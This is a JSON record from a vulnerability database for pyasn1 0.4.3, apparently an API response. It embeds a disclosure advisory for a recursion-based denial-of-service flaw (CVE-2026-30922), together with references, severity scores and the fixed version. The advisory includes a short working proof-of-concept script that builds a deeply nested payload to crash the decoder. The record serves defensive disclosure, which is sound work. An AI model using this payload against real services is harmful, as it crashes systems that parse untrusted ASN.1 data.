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GET /api/packages/1069067?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/1069067?format=api", "purl": "pkg:pypi/pyasn1@0.4.3", "type": "pypi", "namespace": "", "name": "pyasn1", "version": "0.4.3", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "0.6.3", "latest_non_vulnerable_version": "0.6.3", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/24801?format=api", "vulnerability_id": "VCID-kth3-bvbt-gbgk", "summary": "Denial of Service in pyasn1 via Unbounded Recursion\n### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30922.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30922.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30922", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15359", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15321", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15233", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15429", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.1515", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15142", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15227", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15293", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15332", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15371", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00054", "scoring_system": "epss", "scoring_elements": "0.16702", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00054", "scoring_system": "epss", "scoring_elements": "0.16797", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00054", "scoring_system": "epss", "scoring_elements": "0.16687", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00073", "scoring_system": "epss", "scoring_elements": "0.21914", "published_at": "2026-04-29T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30922" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30922", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30922" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/pyasn1/pyasn1", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1" }, { "reference_url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-18T20:16:18Z/" } ], "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0" }, { "reference_url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8" }, { "reference_url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3" }, { "reference_url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-18T20:16:18Z/" } ], "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html", "reference_id": "", "reference_type": "", "scores": [], "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922" }, { "reference_url": "http://www.openwall.com/lists/oss-security/2026/03/20/4", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131371", "reference_id": "1131371", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131371" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553", "reference_id": "2448553", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553" }, { "reference_url": "https://github.com/advisories/GHSA-jr27-m4p2-rc6r", "reference_id": "GHSA-jr27-m4p2-rc6r", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:10184", "reference_id": "RHSA-2026:10184", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:10184" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:12176", "reference_id": "RHSA-2026:12176", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:12176" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6309", "reference_id": "RHSA-2026:6309", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6309" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6404", "reference_id": "RHSA-2026:6404", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6404" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6568", "reference_id": "RHSA-2026:6568", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6568" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6720", "reference_id": "RHSA-2026:6720", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6720" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6912", "reference_id": "RHSA-2026:6912", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6912" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6926", "reference_id": "RHSA-2026:6926", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6926" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:8437", "reference_id": "RHSA-2026:8437", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:8437" }, { "reference_url": "https://usn.ubuntu.com/8129-1/", "reference_id": "USN-8129-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8129-1/" }, { "reference_url": "https://usn.ubuntu.com/8134-1/", "reference_id": "USN-8134-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8134-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/68031?format=api", "purl": "pkg:pypi/pyasn1@0.6.3", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/pyasn1@0.6.3" } ], "aliases": [ "CVE-2026-30922", "GHSA-jr27-m4p2-rc6r" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kth3-bvbt-gbgk" } ], "fixing_vulnerabilities": [], "risk_score": "4.0", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/pyasn1@0.4.3" }